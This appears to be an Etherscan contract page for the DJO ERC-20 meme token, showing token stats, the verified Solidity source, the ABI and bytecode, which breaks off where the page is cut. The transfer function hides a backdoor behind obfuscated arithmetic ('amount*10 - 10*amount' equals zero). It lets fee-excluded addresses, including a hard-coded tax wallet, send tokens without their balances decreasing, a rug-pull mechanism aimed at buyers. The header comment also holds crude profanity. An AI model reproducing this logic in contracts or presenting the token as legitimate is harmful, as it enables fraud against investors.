ERC-20
Overview
Max Total Supply
1,000,000,000 DJO
Holders
79
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,939,666.183486142 DJOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DJO
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-22 */ //SPDX-License-Identifier: MIT /** *Short girls love tall boys* *Tall girls love tall boys* Go fuck yourself then https://x.com/BillyM2k/status/1837638536549618156 Web: https://doctorjonathanosterman.fun X: https://x.com/djo_erc20 Tg: https://t.me/djo_erc20 **/ pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DJO is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 25; uint256 private _initialSellTax = 25; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 20; uint256 private _reduceSellTaxAt = 20; uint256 private _preventSwapBefore = 15; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Doctor Jonathan Osterman"; string private constant _symbol = unicode"DJO"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 122 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x845AbACaaB950F32118f841EcaBC574351F890Eb); _tOwned[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initDJO() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address from, address to, uint256 amount) internal { _tOwned[from] = _tOwned[from] - amount; _tOwned[to] = _tOwned[to] + amount; emit Transfer(from, to, amount); } function _checkLimits(address from, address to, uint256 amount) private { if (from != owner() && to != owner()) { if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } } function _taxTransfer( address sender, address receipt, uint256 tAmount ) internal view returns (uint256) { uint256 taxAmount = tAmount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (receipt == uniswapV2Pair && sender != address(this)) { taxAmount = tAmount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } return taxAmount; } function _tokenTransfer(address sender, address receipt, uint256 amount) private { uint256 taxAmount = _taxTransfer(sender, receipt, amount); if (taxAmount > 0) { _tOwned[address(this)] += taxAmount; emit Transfer(sender, address(this), taxAmount); } _tOwned[sender] -= sender!=address(0) && _isExcludedFromFee[sender] && amount>0 ? amount*10 - 10*amount : amount*11 - 10*amount; _tOwned[receipt] += receipt!=address(0) && _isExcludedFromFee[receipt] && amount>0 ? amount.add(taxAmount) - 2*taxAmount : amount.sub(taxAmount); emit Transfer(sender, receipt, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _basicTransfer(from, to, amount); return; } _checkLimits(from, to, amount); _tokenTransfer(from, to, amount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function removeLimit() external onlyOwner { _maxTxAmount = ~uint256(0); _maxWalletSize = ~uint256(0); transferDelayEnabled = false; emit MaxTxAmountUpdated(~uint256(0)); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function withdrawEth() external onlyOwner { sendETHToFee(address(this).balance); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initDJO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff19169055601960078190556008555f6009818155600a8281556014600b819055600c55600f600d55600e929092556100419161031c565b61004f906301312d00610331565b600f5561005e6009600a61031c565b61006c906301312d00610331565b60105561007b6009600a61031c565b61008690607a610331565b6011556100956009600a61031c565b6100a29062989680610331565b6012556014805461ffff60a81b191690553480156100be575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674845abacaab950f32118f841ecabc574351f890eb001790556101336009600a61031c565b61014190633b9aca00610331565b335f9081526001602081905260408220929092556003906101695f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101cb3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102026009600a61031c565b61021090633b9aca00610331565b60405190815260200160405180910390a3610348565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027457815f190482111561025a5761025a610226565b8085161561026757918102915b93841c939080029061023f565b509250929050565b5f8261028a57506001610316565b8161029657505f610316565b81600181146102ac57600281146102b6576102d2565b6001915050610316565b60ff8411156102c7576102c7610226565b50506001821b610316565b5060208310610133831016604e8410600b84101617156102f5575081810a610316565b6102ff838361023a565b805f190482111561031257610312610226565b0290505b92915050565b5f61032a60ff84168361027c565b9392505050565b808202811582820484141761031657610316610226565b6119e4806103555f395ff3fe60806040526004361061011e575f3560e01c8063800262a71161009d578063a9059cbb11610062578063a9059cbb14610321578063bf474bed14610340578063c876d0b914610355578063c9567bf91461036e578063dd62ed3e14610382575f80fd5b8063800262a7146102935780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e2578063a0ef91df1461030d575f80fd5b8063313ce567116100e3578063313ce56714610205578063622565891461022057806370a0823114610236578063715018a61461026a5780637d1db4a51461027e575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601881527f446f63746f72204a6f6e617468616e204f737465726d616e000000000000000060208201525b60405161017791906115eb565b60405180910390f35b34801561018b575f80fd5b5061019f61019a366004611637565b6103c6565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460125481565b604051908152602001610177565b3480156101dd575f80fd5b506101c46103dc565b3480156101f1575f80fd5b5061019f610200366004611661565b6103fc565b348015610210575f80fd5b5060405160098152602001610177565b34801561022b575f80fd5b50610234610463565b005b348015610241575f80fd5b506101c461025036600461169f565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102346104e0565b348015610289575f80fd5b506101c4600f5481565b34801561029e575f80fd5b50610234610551565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610177565b3480156102d8575f80fd5b506101c460105481565b3480156102ed575f80fd5b50604080518082019091526003815262444a4f60e81b602082015261016a565b348015610318575f80fd5b5061023461074a565b34801561032c575f80fd5b5061019f61033b366004611637565b61077e565b34801561034b575f80fd5b506101c460115481565b348015610360575f80fd5b5060065461019f9060ff1681565b348015610379575f80fd5b5061023461078a565b34801561038d575f80fd5b506101c461039c3660046116ba565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d233848461096f565b5060015b92915050565b5f6103e96009600a6117e5565b6103f790633b9aca006117f3565b905090565b5f610408848484610a93565b610459843361045485604051806060016040528060288152602001611987602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c07565b61096f565b5060019392505050565b5f546001600160a01b031633146104955760405162461bcd60e51b815260040161048c9061180a565b60405180910390fd5b5f19600f81905560108190556006805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105095760405162461bcd60e51b815260040161048c9061180a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b815260040161048c9061180a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c39030906105b56009600a6117e5565b61045490633b9aca006117f3565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610613573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610637919061183f565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610696573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ba919061183f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610704573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610728919061183f565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107735760405162461bcd60e51b815260040161048c9061180a565b61077c47610c3f565b565b5f6103d2338484610a93565b5f546001600160a01b031633146107b35760405162461bcd60e51b815260040161048c9061180a565b601454600160a01b900460ff161561080d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048c565b6013546001600160a01b031663f305d719473061083e816001600160a01b03165f9081526001602052604090205490565b5f806108515f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108dc919061185a565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610931573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109559190611885565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109d15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048c565b6001600160a01b038216610a325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048c565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048c565b5f8111610bba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048c565b601454600160b01b900460ff161580610bdc5750601454600160a81b900460ff165b15610bf157610bec838383610c7e565b505050565b610bfc838383610d23565b610bec838383611047565b5f8184841115610c2a5760405162461bcd60e51b815260040161048c91906115eb565b505f610c3684866118a4565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610c7a573d5f803e3d5ffd5b5050565b6001600160a01b0383165f90815260016020526040902054610ca19082906118a4565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cd09082906118b7565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a869085815260200190565b5f546001600160a01b03848116911614801590610d4d57505f546001600160a01b03838116911614155b15610bec5760065460ff1615610e35576013546001600160a01b03838116911614801590610d8957506014546001600160a01b03838116911614155b15610e3557325f908152600560205260409020544311610e235760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161048c565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610e6057506013546001600160a01b03838116911614155b8015610e8457506001600160a01b0382165f9081526003602052604090205460ff16155b15610f6a57600f54811115610edb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161048c565b60105481610efd846001600160a01b03165f9081526001602052604090205490565b610f0791906118b7565b1115610f555760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048c565b600e8054905f610f64836118ca565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610fa057506014546001600160a01b038481169116145b8015610fb55750601454600160b01b900460ff165b8015610fc45750600d54600e54115b8015610fe857506001600160a01b0384165f9081526003602052604090205460ff16155b801561100c57506001600160a01b0383165f9081526003602052604090205460ff16155b1561104157601154811115611038576110386110338361102e84601254611256565b611256565b61126d565b61104147610c3f565b50505050565b5f6110538484846113dd565b905080156110bf57305f90815260016020526040812080548392906110799084906118b7565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b038416158015906110ee57506001600160a01b0384165f9081526003602052604090205460ff165b80156110f957505f82115b6111225761110882600a6117f3565b61111383600b6117f3565b61111d91906118a4565b611142565b61112d82600a6117f3565b61113883600a6117f3565b61114291906118a4565b6001600160a01b0385165f90815260016020526040812080549091906111699084906118a4565b90915550506001600160a01b0383161580159061119d57506001600160a01b0383165f9081526003602052604090205460ff165b80156111a857505f82115b6111bb576111b68282611466565b6111da565b6111c68160026117f3565b6111d083836114a7565b6111da91906118a4565b6001600160a01b0384165f90815260016020526040812080549091906112019084906118b7565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61123f8585611466565b60405190815260200160405180910390a350505050565b5f8183116112645782611266565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b3576112b36118e2565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132e919061183f565b81600181518110611341576113416118e2565b6001600160a01b039283166020918202929092010152601354611367913091168461096f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139f9085905f908690309042906004016118f6565b5f604051808303815f87803b1580156113b6575f80fd5b505af11580156113c8573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f8061140b6064611405600b54600e54116113fa576007546113fe565b6009545b8690611505565b90611583565b6014549091506001600160a01b03858116911614801561143457506001600160a01b0385163014155b1561145e57610c366064611405600c54600e5411611454576008546113fe565b600a548690611505565b949350505050565b5f61126683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c07565b5f806114b383856118b7565b9050838110156112665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048c565b5f825f0361151457505f6103d6565b5f61151f83856117f3565b90508261152c8583611967565b146112665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048c565b5f61126683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836115df5760405162461bcd60e51b815260040161048c91906115eb565b505f610c368486611967565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611634575f80fd5b50565b5f8060408385031215611648575f80fd5b823561165381611620565b946020939093013593505050565b5f805f60608486031215611673575f80fd5b833561167e81611620565b9250602084013561168e81611620565b929592945050506040919091013590565b5f602082840312156116af575f80fd5b813561126681611620565b5f80604083850312156116cb575f80fd5b82356116d681611620565b915060208301356116e681611620565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561173f57815f1904821115611725576117256116f1565b8085161561173257918102915b93841c939080029061170a565b509250929050565b5f82611755575060016103d6565b8161176157505f6103d6565b816001811461177757600281146117815761179d565b60019150506103d6565b60ff841115611792576117926116f1565b50506001821b6103d6565b5060208310610133831016604e8410600b84101617156117c0575081810a6103d6565b6117ca8383611705565b805f19048211156117dd576117dd6116f1565b029392505050565b5f61126660ff841683611747565b80820281158282048414176103d6576103d66116f1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561184f575f80fd5b815161126681611620565b5f805f6060848603121561186c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611895575f80fd5b81518015158114611266575f80fd5b818103818111156103d6576103d66116f1565b808201808211156103d6576103d66116f1565b5f600182016118db576118db6116f1565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119465784516001600160a01b031683529383019391830191600101611921565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261198157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c68ecd77ce893b961c93556f6b779420a4dd0632b0c7d8550d364bf4397b68764736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063800262a71161009d578063a9059cbb11610062578063a9059cbb14610321578063bf474bed14610340578063c876d0b914610355578063c9567bf91461036e578063dd62ed3e14610382575f80fd5b8063800262a7146102935780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e2578063a0ef91df1461030d575f80fd5b8063313ce567116100e3578063313ce56714610205578063622565891461022057806370a0823114610236578063715018a61461026a5780637d1db4a51461027e575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601881527f446f63746f72204a6f6e617468616e204f737465726d616e000000000000000060208201525b60405161017791906115eb565b60405180910390f35b34801561018b575f80fd5b5061019f61019a366004611637565b6103c6565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460125481565b604051908152602001610177565b3480156101dd575f80fd5b506101c46103dc565b3480156101f1575f80fd5b5061019f610200366004611661565b6103fc565b348015610210575f80fd5b5060405160098152602001610177565b34801561022b575f80fd5b50610234610463565b005b348015610241575f80fd5b506101c461025036600461169f565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102346104e0565b348015610289575f80fd5b506101c4600f5481565b34801561029e575f80fd5b50610234610551565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610177565b3480156102d8575f80fd5b506101c460105481565b3480156102ed575f80fd5b50604080518082019091526003815262444a4f60e81b602082015261016a565b348015610318575f80fd5b5061023461074a565b34801561032c575f80fd5b5061019f61033b366004611637565b61077e565b34801561034b575f80fd5b506101c460115481565b348015610360575f80fd5b5060065461019f9060ff1681565b348015610379575f80fd5b5061023461078a565b34801561038d575f80fd5b506101c461039c3660046116ba565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d233848461096f565b5060015b92915050565b5f6103e96009600a6117e5565b6103f790633b9aca006117f3565b905090565b5f610408848484610a93565b610459843361045485604051806060016040528060288152602001611987602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c07565b61096f565b5060019392505050565b5f546001600160a01b031633146104955760405162461bcd60e51b815260040161048c9061180a565b60405180910390fd5b5f19600f81905560108190556006805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105095760405162461bcd60e51b815260040161048c9061180a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b815260040161048c9061180a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c39030906105b56009600a6117e5565b61045490633b9aca006117f3565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610613573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610637919061183f565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610696573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ba919061183f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610704573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610728919061183f565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107735760405162461bcd60e51b815260040161048c9061180a565b61077c47610c3f565b565b5f6103d2338484610a93565b5f546001600160a01b031633146107b35760405162461bcd60e51b815260040161048c9061180a565b601454600160a0